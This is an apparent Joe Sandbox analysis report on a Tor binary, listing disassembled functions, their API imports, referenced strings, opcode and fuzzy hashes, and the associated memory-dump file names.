Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abortevent_addevent_pending
String ID:
API String ID: 1766895195-0
Opcode ID: 320bf36b0f2a7ddce7a3721f6da19e46678653d701e531c943f02d4ad261a571
Instruction ID: 812cf995aee4a0ca0b11f9e2ee4bb3fed468e2e8d29556f4648309f879559dea
Opcode Fuzzy Hash: 320bf36b0f2a7ddce7a3721f6da19e46678653d701e531c943f02d4ad261a571
Instruction Fuzzy Hash: B911D3B4904716DFCB50EFA9C8946AEBBF0BF89348F00881DE8959B311D378D5459F52

Uniqueness

Uniqueness Score: -1.00%

Function 0157C41B Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

RAND_SSLeay.LIBEAY32 ref: 0157C42B
RAND_get_rand_method.LIBEAY32 ref: 0157C433
__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,015823CD), ref: 0157C483

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

RAND_set_rand_method.LIBEAY32(?,?,?,?,?,?,?,015823CD), ref: 0157C467

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$D_get_rand_methodD_set_rand_methodLeay
String ID:
API String ID: 1039541482-0
Opcode ID: f6106e92a2cee21647c337387765359b5736260bbc32915e801df9a049ad0019
Instruction ID: bb8f92b647a9f4b8ed699fa0b28a7d834f18df4c20148bd2b27466b774bac8c1
Opcode Fuzzy Hash: f6106e92a2cee21647c337387765359b5736260bbc32915e801df9a049ad0019
Instruction Fuzzy Hash: 68F030B0A052069BDB90EFB8D84972EBBF6BF41311F408D2CD4909B201D274D4408B96

Uniqueness

Uniqueness Score: -1.00%

Function 013C2E01 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 171COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 013C2F20
__stack_chk_fail.LIBSSP-0 ref: 013C304F

Strings

\, xrefs: 013C2F86

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failfree
String ID: \
API String ID: 3014125611-2967466578
Opcode ID: 04902a34ada614cebe18b640b65971c1940fc72c247c727921fb81e35665ae3c
Instruction ID: 0db8015be2118ce9d56c55287f58111b158f6b00f88b01c8afa98c663c5c6c5f
Opcode Fuzzy Hash: 04902a34ada614cebe18b640b65971c1940fc72c247c727921fb81e35665ae3c
Instruction Fuzzy Hash: B0819FB4A05209CFCB64DFACD484A9EBBF0BB88728F14852AE855A7315D334E941CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01558B98 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 01558BDB

Part of subcall function 01555B7D: strlen.MSVCRT ref: 01555BB2
Part of subcall function 01555B7D: __stack_chk_fail.LIBSSP-0 ref: 01555BEC

__stack_chk_fail.LIBSSP-0 ref: 01558DF3

Strings

Windows 8, xrefs: 01558C11, 01558C27, 01558D15, 01558D6D, 01558DA1, 01558DCD, 01558DE3

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$memsetstrlen
String ID: Windows 8
API String ID: 3806181855-1909050361
Opcode ID: 513e5a560dc59fd1667769569b6f50bd77b8fbf81d73e7ea8bd0b0b4473518d0
Instruction ID: e8ecc6a5315e09b6691cfea4f58d575c83c98d14b56e0e6f08547dc984912f46
Opcode Fuzzy Hash: 513e5a560dc59fd1667769569b6f50bd77b8fbf81d73e7ea8bd0b0b4473518d0
Instruction Fuzzy Hash: 9751F470A063198FDB64DF19C89479EB7F1BB85244F4085AAE889DF300D378DA859F92

Uniqueness

Uniqueness Score: -1.00%

Function 0149A8DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 0141B372: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,013FE4F8), ref: 0141B392

__stack_chk_fail.LIBSSP-0 ref: 0149AA16

Strings

backward, xrefs: 0149A95D
forward, xrefs: 0149A956

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail
String ID: backward$forward
API String ID: 4216919130-2237893231
Opcode ID: d1bb4c6cb0ae271f890fd1c2cefb17ca89d3b04f0cbf0e2191657c2879fe22cb
Instruction ID: 09d4d9da994e555225e6026ee5958337c90d9454a73a166f2b014ae06ef52229
Opcode Fuzzy Hash: d1bb4c6cb0ae271f890fd1c2cefb17ca89d3b04f0cbf0e2191657c2879fe22cb
Instruction Fuzzy Hash: 6541F8B5E043199FCB00DFA9D88469EBBF1BF99210F11C92EE898A7351D7349844CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0148CF1A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0148CFF9
__stack_chk_fail.LIBSSP-0 ref: 0148D015

Strings

@, xrefs: 0148CFD3

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failfree
String ID: @
API String ID: 3014125611-2766056989
Opcode ID: ca0d6208e7560169dc47e3f4e3454684de85e35939eaeaad7d8bca5e98b47690
Instruction ID: 7bc9a321433674f0e38fba256732ba2aa2e5af855151fca694f13e78e93248eb
Opcode Fuzzy Hash: ca0d6208e7560169dc47e3f4e3454684de85e35939eaeaad7d8bca5e98b47690
Instruction Fuzzy Hash: CD3161B4E042198FDB40EFA9C484BAEBBF0BB09244F41846AE955AB350D334E945CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01555BF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 01555C57
__stack_chk_fail.LIBSSP-0 ref: 01555C9F

Strings

N/A, xrefs: 01555BFC, 01555BFD, 01555BFE

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failstrlen
String ID: N/A
API String ID: 901568487-2525114547
Opcode ID: a93182ae6b2d1d3cad10e7d9e9f792ae04db03ff4b54aeeb53f4360c59b40b1c
Instruction ID: a0c6922bee5fe3091dfdd7866b928897f9e99d30518ac2d86d113b10bd31a30e
Opcode Fuzzy Hash: a93182ae6b2d1d3cad10e7d9e9f792ae04db03ff4b54aeeb53f4360c59b40b1c
Instruction Fuzzy Hash: 54217F71F142288FCF91CFADD8906ADBBF1BF49300B158166EC48EB301E630A9048B61

Uniqueness

Uniqueness Score: -1.00%

Function 013B654A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013B6638

Part of subcall function 0163B31C: abort.MSVCRT ref: 0163B369
Part of subcall function 0163B31C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,013B1CAC), ref: 0163B37E

Part of subcall function 0163B456: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B4B9
Part of subcall function 0163B456: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B4F8
Part of subcall function 0163B456: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B537
Part of subcall function 0163B456: event_new.LIBEVENT-2-1-6(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B573
Part of subcall function 0163B456: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B58E
Part of subcall function 0163B456: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0163B5D5

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 013B65D9

Strings

src/or/main.c, xrefs: 013B65AD

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$strrchr$event_newfree
String ID: src/or/main.c
API String ID: 2841425651-685921598
Opcode ID: d43de9ae1fe17a446aa4b0b7d13aa044033734806d960aff8392e73b4e151a53
Instruction ID: 279b234f8b41561c470507980e123076ba764fe1027cd537a0f8f83a2750a69d
Opcode Fuzzy Hash: d43de9ae1fe17a446aa4b0b7d13aa044033734806d960aff8392e73b4e151a53
Instruction Fuzzy Hash: 60217CB0A083068BDB20EFB8C5857AEBBF9AB4035CF01882DD584D7246E774C6548F52

Uniqueness

Uniqueness Score: -1.00%

Function 013C2676 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 013C2705
__stack_chk_fail.LIBSSP-0 ref: 013C273C

Strings

H, xrefs: 013C26ED

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort
String ID: H
API String ID: 3276312271-2852464175
Opcode ID: 04365c5e0fb424905d6c5c3fadb99405ec979118d90edf4661566224f28e869b
Instruction ID: 0a7496b4e958bb35c4fc5b8669baf7e95861eaed8c90c67d37a835a1ad9dc13a
Opcode Fuzzy Hash: 04365c5e0fb424905d6c5c3fadb99405ec979118d90edf4661566224f28e869b
Instruction Fuzzy Hash: 4E21E3B5A0061A8FCB54DF9CC881AAFBBF5BF99308F548859E8649B311D338E805DF51

Uniqueness

Uniqueness Score: -1.00%

Function 015726FB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 015727C4

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,01528E38), ref: 01572757

Strings

#, xrefs: 01572747

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID: #
API String ID: 1190921433-1885708031
Opcode ID: c2124d6146eda1103daeeb561b32e0ae948ea43a38ca5c6c6cceeae48e7ca8b2
Instruction ID: 2d467e57a25aa09373618f00840abbbbc47566f375543662d4ab144ebbcbb95b
Opcode Fuzzy Hash: c2124d6146eda1103daeeb561b32e0ae948ea43a38ca5c6c6cceeae48e7ca8b2
Instruction Fuzzy Hash: 7321A8B8A0421ACFCB40EFA9C5446AEBBF4BF49304F418859D854EB310D738D941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0143CAA3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 0143CB2D
__stack_chk_fail.LIBSSP-0 ref: 0143CB40

Strings

CR15, xrefs: 0143CAE0

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort
String ID: CR15
API String ID: 3276312271-1462964608
Opcode ID: 73164a2f14f95534f8ab5af9645f6b2c6c3471916f9ea373b537d20fdcbb0b1c
Instruction ID: d0169c845e6f7963f66a1fe279972820a91991c13408899e3d3b80ce8e67edd7
Opcode Fuzzy Hash: 73164a2f14f95534f8ab5af9645f6b2c6c3471916f9ea373b537d20fdcbb0b1c
Instruction Fuzzy Hash: 38112175A042169FCF44EFA9C880A6FBBF4BF44214F408856D8A0DB351D338E6419F91

Uniqueness

Uniqueness Score: -1.00%

Function 015531ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 01553231
__stack_chk_fail.LIBSSP-0 ref: 0155328F

Part of subcall function 0157511A: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,01553218), ref: 0157514C

Strings

(, xrefs: 01553222

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strchr
String ID: (
API String ID: 3295993128-3887548279
Opcode ID: 957824a300073c3fad1f17ca149e914c2f384c8c246041b3dfa3715594218434
Instruction ID: 15c71c2b78b870c9a805c1bb3ec2493cbba89f17981b58bda81291b9598dfaa6
Opcode Fuzzy Hash: 957824a300073c3fad1f17ca149e914c2f384c8c246041b3dfa3715594218434
Instruction Fuzzy Hash: 0D1109706443068FDBF0EFA9E81471A7BE9BB01794F009019E844DB344E7749411CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01585AC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

Part of subcall function 015657EE: strlen.MSVCRT ref: 01565810
Part of subcall function 015657EE: strncmp.MSVCRT ref: 0156582C
Part of subcall function 015657EE: __stack_chk_fail.LIBSSP-0 ref: 0156583C

strchr.MSVCRT ref: 01585B06

Part of subcall function 01564771: abort.MSVCRT ref: 015647C1
Part of subcall function 01564771: _strdup.MSVCRT ref: 015647CC
Part of subcall function 01564771: exit.MSVCRT ref: 0156480D
Part of subcall function 01564771: __stack_chk_fail.LIBSSP-0 ref: 01564820

__stack_chk_fail.LIBSSP-0 ref: 01585B45

Strings

, xrefs: 01585AF8

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

